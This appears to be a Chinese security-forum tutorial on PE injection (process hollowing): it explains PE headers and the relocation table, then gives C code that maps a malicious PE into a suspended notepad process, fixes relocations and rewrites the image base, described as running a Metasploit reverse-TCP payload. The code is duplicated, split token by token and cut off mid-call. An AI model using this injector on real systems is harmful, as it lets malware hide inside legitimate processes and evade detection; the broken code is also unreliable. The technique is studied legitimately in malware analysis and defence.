PE注入目的是“偷天换日”,把“坏程序”映射到“好进程”的内存中,并最终执行“坏程序”的代码。我们把实现这个过程的工具叫做PE注入工具,它会模拟 Windows 映像加载程序的功能,实现exe内存加载和区段映射的效果,相当于自己就是exe loader。此外,还要结合进程注入,实现在A进程中加载B.exe后跳转到B进程入口点执行,这个过程会架空A进程,所以PE注入还有个学名叫做傀儡进程。
研究PE注入之前,先要了解exe image 加载后的内存布局情况,即是说PE文件要从磁盘加载到内存,它需要从文件偏移映射到对应的内存偏移, 比如.text段文件偏移0x400,映射到内存后偏移就是0x1000,绝对地址是0x401000,如下图所示 (图片引用-蛇矛实验室):
要注意的是由于PE文件的section存在两种对齐方式,在内存中以4096字节对齐,16进制为0x1000,即是1个页的大小,而在文件中以512字节对齐,16进制为0x200,。正是因为两种情况下对齐字节数不同,导致从感官上看,PE的文件形态更加“紧凑”,内存形态更加“宽松”存在裂缝。比如说,首先PE头是0x400字节,不管是文件中还是内存中都是从0-0x400,但是从.text段开始就存在差异了,由于文件对齐大小是0x200,所以.text的文件偏移是0x400,然而内存对齐大小是0x1000,所以.text的内存偏移是0x1000,从0x400-0x1000这段未被占用的空间用\x0填充。随着section数量不断增多,文件偏移和内存偏移的差距会越来越大,出现上图偏差现象。
模拟加载的过程大概可以分为以下几步:
首先,需要把恶意PE当做文件读取进来。 第2步,使用OpenProcess方式拉起notepad并设置挂起状态。 第3步,修改notepad的基地址,如果基地址占用,使用UnmapViewOfSection先做清理。 第4步,申请ImageBase表示的内存,填写头部字段,其中头部字段包括dos、nt、section的所有头数据。如果这个地址申请失败,申请到了其他位置,那么还需要修复重定位表。 第5步,拷贝各个section的数据,其中section的结构图和拷贝代码分别如下: 最后,修改EIP并恢复执行,核心代码如下:
(1)运行注入工具,该工具执行成功后会拉起notepad,然后替换成calc。 (2)用Process Hacker观察进程列表,会发现noteapd进程,且存在0x410000 的块。
大家应该知道1个进程要被执行,需要操作系统完成从磁盘加载到内存的过程,如果这个过程中PE加载基地址发生变化,导致跟PE文件编译产生的预设值不同,就会导致很多节段中的绝对地址要重新修复,比如代码段中的 直接索引地址,或者数据段中的 全局变量地址等。通常只要系统开启了aslr 机制就会导致PE文件被加载到内存后发生地址随机化,这个机制是1个重要的安全保护机制。重定位的地址放在重定位表里面维护的,这个表可以通过 NTHeader->OptionalHeader→DataDirArray[5] 索引,它里面有真正的重定位表的RVA和size,后面的技术原理也是从这个结构出发。
该部分探究如何获取重定位表内容,以及从代码和数据层面了解重定位表项代表的含义是什么。
首先,我们熟悉下PE文件格式,从主要结构上讲PE包括Dos头、DosStub、NT头、Section头、Section各个区段数据。通过010editor随便加载一个exe文件都能看到这些结构化的数据,下面展示加载1个demo程序。 其中Dos头最为人熟知的就是MZ魔术字(0x5A4D),也就是PE文件的前两个字节,还有其他兼容Dos系统的启动信息数据,还有1个字段叫做 e_lfanew,它是这个结构体中最后1个字段,表示NT头的文件偏移。
其次是DosStub,这个结构是它是一段可执行代码,主要用于在DOS环境下运行时提供兼容性支持,windows环境下加载器直接跳过这个结构。
再接着是NT头,它包含PE标识符、文件头和可选头,用于描述PE文件的基本信息、加载和执行细节,以及提供数据目录的入口点。它是操作系统和加载器在加载和执行 PE 文件时用于解析和理解文件内容与结构的关键依据。其中,文件头的结构体是IMAGE_FILE_HEADER,可选头的结构体是IMAGE_OPTIONAL_HEADER32。我们先看下IMAGE_FILE_HEADER,结构体定义和实际案例如下图所示,主要包含区段数量(NumberOfSections)、文件创建时间(TimeDateStamp)、可选头大小(可选头结构的size)。定位重定位表最重要的字段是获取 可选头FOA。 然后再往后是可选头结构,它主要包含PE镜像加载基地址、程序入口点地址、镜像大小、以及数据目录结构。这里的PE镜像加载基地址是重要参数,因为它决定了加载器从内存中哪个位置开始加载 PE文件,比如vs设置的默认值为 0x400000h,这也是傀儡进程技术实现中要用到的1个重要参数。
现在到了数据目录了,下图展示了demo程序的数据目录内容,它是PE文件可选头中的一个数组,每个条目包含RVA和大小,指向PE文件中的特定数据段(如导入表、导出表、重定位表等),用于支持程序的加载和运行。 这里只研究重定位表内容,其他表暂不深究,下图是示例截图。其中 RVA是 0x20000h,FOA是0xC000h。 这里要注意的是RVA和FOA的区别,RVA是Relative Virtual Address,表示的是加载到内存后相对镜像基地址的偏移量。另外FOA是File Offset Address,表示的是相对PE文件的偏移量。
那如果知道了RVA,怎么获取到它的FOA呢?这里就需要另外1个重要的结构体了(区段头),它包含了区段的文件偏移和内存偏移,以及文件大小。下面是区段头数组和区段头内容的示例: 再来看RVA是 0x20000h,先定位到它的区段头(条件:VirtualAddress==0x20000h),发现是区段头中的.reloc项,如下所示 从这里就能看出它的FOA是0xC000h(PointerToRawData字段),然后直接跳转到这个地址去看看,它是base_relocation_table结构,然后随机找到其中1项查看其内容,比如第1项的值如下图所示: 这里先计算出重定位项的虚拟偏移地址:11000(h) + 2479(o) = 119AF(h),用IDA定位到这个地址查看内容以及需要重定位的地址。
重定位项包含了代码段中的跳转地址,也包含data段中的全局变量地址,这里随机抽取3个重定位项进行观察。
第一个,上面提到的119AF(h),用IDA定位到0x40000+0x119AF=0x4119AF地址处。 这个项就说明GS cookie地址,值为0x41b000。 第二个,rdata中的某个函数指针,值为0x412c10,如下图所示: 第三个,data段中的某个运行时类的虚表指针,值为0x419c98,定位到改虚表查看是2个指针,第1个是type_info数据,还有个null指针。如下图所示:
进程注入里面的傀儡进程就可能使用到PE重定位的技术,这里通过列举重定位的代码进行技术原理讲解,顺便把上面的知识点再次加深一下。如果傀儡进程申请不到原始的PE Image BaseAddress,那就只能转移到其他地址就行加载,这个时候就需要进行符号重定位了,这个步骤的目的是修改PE文件中的重定位项的值,使得它里面的地址跟实际的内存加载地址一致,从而避免访问地址错误的情况发生。
核心代码的实现如下:
主要流程是:
经过上面步骤的调整后,新的PE文件内容就符合其真实的加载地址了,保证了文件和内存中的地址的一致性,就不会出现访问地址错误的情况。
当然,除了这些常规动作外,还要修改下进程和PE文件的image base(!!!一定要修改,漏掉任一都会直接报错!!!),修改方法如下:
示例代码实现了注入工具,它会拉起傀儡进程notepad,然后读取恶意PE(msf_reverse_tcp.exe),替换notepad原有的代码和数据,执行后自动连接上 msf。
void fixRelocTable(DWORD pFileBufferSrc, DWORD AOffset) {
PIMAGE_DOS_HEADER pIDH
=
(PIMAGE_DOS_HEADER)pFileBufferSrc;
PIMAGE_FILE_HEADER pIFH
=
(PIMAGE_FILE_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
4
);
PIMAGE_OPTIONAL_HEADER pIOH
=
(PIMAGE_OPTIONAL_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
0x18
);
PIMAGE_SECTION_HEADER pISH
=
(PIMAGE_SECTION_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
sizeof(IMAGE_NT_HEADERS));
DWORD pRelocationDirectoryVirtual
=
NULL;
PIMAGE_BASE_RELOCATION pRelocationDirectory
=
NULL;
IMAGE_DATA_DIRECTORY
*
dataDirectories
=
NULL;
DWORD FOA, NumberOfRelocation;
PWORD Location;
DWORD RVA_Data;
WORD reloData;
dataDirectories
=
pIOH
-
>DataDirectory;
pRelocationDirectoryVirtual
=
(DWORD) dataDirectories[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if
(pRelocationDirectoryVirtual) {
RVA_To_FOA(pFileBufferSrc, pRelocationDirectoryVirtual, &FOA);
pRelocationDirectory
=
(PIMAGE_BASE_RELOCATION)((DWORD)pFileBufferSrc
+
FOA);
while
(pRelocationDirectory
-
>SizeOfBlock && pRelocationDirectory
-
>VirtualAddress) {
NumberOfRelocation
=
(pRelocationDirectory
-
>SizeOfBlock
-
8
)
/
2
;
/
/
每个重定位块中的数据项的数量
Location
=
(PWORD)((DWORD)pRelocationDirectory
+
8
);
/
/
加上
8
个字节
for
(DWORD i
=
0
; i < NumberOfRelocation; i
+
+
) {
if
(Location[i] >>
12
!
=
0
) {
/
/
判断是否是垃圾数据
/
/
WORD类型的变量进行接收
reloData
=
(Location[i] &
0xFFF
);
/
/
这里进行与操作 只取
4
字节 二进制的后
12
位
RVA_Data
=
pRelocationDirectory
-
>VirtualAddress
+
reloData;
/
/
这个是RVA的地址
RVA_To_FOA(pFileBufferSrc, RVA_Data, &FOA);
/
/
修复步骤的核心操作,这里镜像加载时偏移了 AOffset 字节,所以重定项的地址也要偏移这么多
*
(PDWORD)((DWORD)pFileBufferSrc
+
(DWORD)FOA)
=
*
(PDWORD)((DWORD)pFileBufferSrc
+
(DWORD)FOA)
+
AOffset;
}
}
pRelocationDirectory
=
(PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory
+
(DWORD)pRelocationDirectory
-
>SizeOfBlock);
/
/
上面的
for
循环完成之后,跳转到下个重定位块 继续如上的操作
}
}
}
void fixRelocTable(DWORD pFileBufferSrc, DWORD AOffset) {
PIMAGE_DOS_HEADER pIDH
=
(PIMAGE_DOS_HEADER)pFileBufferSrc;
PIMAGE_FILE_HEADER pIFH
=
(PIMAGE_FILE_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
4
);
PIMAGE_OPTIONAL_HEADER pIOH
=
(PIMAGE_OPTIONAL_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
0x18
);
PIMAGE_SECTION_HEADER pISH
=
(PIMAGE_SECTION_HEADER)(pFileBufferSrc
+
pIDH
-
>e_lfanew
+
sizeof(IMAGE_NT_HEADERS));
DWORD pRelocationDirectoryVirtual
=
NULL;
PIMAGE_BASE_RELOCATION pRelocationDirectory
=
NULL;
IMAGE_DATA_DIRECTORY
*
dataDirectories
=
NULL;
DWORD FOA, NumberOfRelocation;
PWORD Location;
DWORD RVA_Data;
WORD reloData;
dataDirectories
=
pIOH
-
>DataDirectory;
pRelocationDirectoryVirtual
=
(DWORD) dataDirectories[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if
(pRelocationDirectoryVirtual) {
RVA_To_FOA(pFileBufferSrc, pRelocationDirectoryVirtual, &FOA);
pRelocationDirectory
=
(PIMAGE_BASE_RELOCATION)((DWORD)pFileBufferSrc
+
FOA);
while
(pRelocationDirectory
-
>SizeOfBlock && pRelocationDirectory
-
>VirtualAddress) {
NumberOfRelocation
=
(pRelocationDirectory
-
>SizeOfBlock
-
8
)
/
2
;
/
/
每个重定位块中的数据项的数量
Location
=
(PWORD)((DWORD)pRelocationDirectory
+
8
);
/
/
加上
8
个字节
for
(DWORD i
=
0
; i < NumberOfRelocation; i
+
+
) {
if
(Location[i] >>
12
!
=
0
) {
/
/
判断是否是垃圾数据
/
/
WORD类型的变量进行接收
reloData
=
(Location[i] &
0xFFF
);
/
/
这里进行与操作 只取
4
字节 二进制的后
12
位
RVA_Data
=
pRelocationDirectory
-
>VirtualAddress
+
reloData;
/
/
这个是RVA的地址
RVA_To_FOA(pFileBufferSrc, RVA_Data, &FOA);
/
/
修复步骤的核心操作,这里镜像加载时偏移了 AOffset 字节,所以重定项的地址也要偏移这么多
*
(PDWORD)((DWORD)pFileBufferSrc
+
(DWORD)FOA)
=
*
(PDWORD)((DWORD)pFileBufferSrc
+
(DWORD)FOA)
+
AOffset;
}
}
pRelocationDirectory
=
(PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory
+
(DWORD)pRelocationDirectory
-
>SizeOfBlock);
/
/
上面的
for
循环完成之后,跳转到下个重定位块 继续如上的操作
}
}
}
/
/
在傀儡进程中申请内存,默认申请基地址
=
=
PE头中的预设值
if
(!(pRealProcImage
=
(LPBYTE)VirtualAllocEx(
ppi
-
>hProcess,
(LPVOID)(pDesireImgBase),
pOptHead
-
>SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE)))
{
printf(
"VirtualAllocEx() failed!!! [%d]\n"
, GetLastError());
return
FALSE;
}
else
{
/
/
保存分配结果
glo_desireImageBase
=
(LPBYTE)(pOptHead
-
>ImageBase);
glo_realImageBase
=
pRealProcImage;
/
/
修改进程的基地址(!!!只要分配的内存跟预设值不同就必须执行这步!!!)
if
(!WriteProcessMemory(
ppi
-
>hProcess,
(LPVOID)(ctx.Ebx
+
8
),
(LPVOID)&pRealProcImage,
sizeof(DWORD),
NULL)) {
printf(
"WriteProcessMemory() failed to update the image base address [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
修改PE文件的image base
pOptHead
-
>ImageBase
=
(DWORD)pRealProcImage;
/
/
修改PE文件的基地址
printf(
"WriteProcessMemory() successfully modified image base address.\n"
);
}
/
/
如果实际加载的基地址跟预设的基地址不相同,那么还需要修复调整重定位表
if
(glo_desireImageBase && glo_realImageBase && glo_desireImageBase !
=
glo_realImageBase) {
fixRelocTable((unsigned
long
)pRealFileBuf, glo_realImageBase
-
glo_desireImageBase);
}
/
/
模拟加载器load
all
heads:DOS头
+
NT头
+
节表头(
0x400
)
if
(!WriteProcessMemory(
ppi
-
>hProcess,
pRealProcImage,
pRealFileBuf,
pOptHead
-
>SizeOfHeaders,
NULL)) {
printf(
"WriteProcessMemory() failed to update the headers [%d]\n"
, GetLastError());
return
FALSE;
}
/
/
在傀儡进程中申请内存,默认申请基地址
=
=
PE头中的预设值
if
(!(pRealProcImage
=
(LPBYTE)VirtualAllocEx(
ppi
-
>hProcess,
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课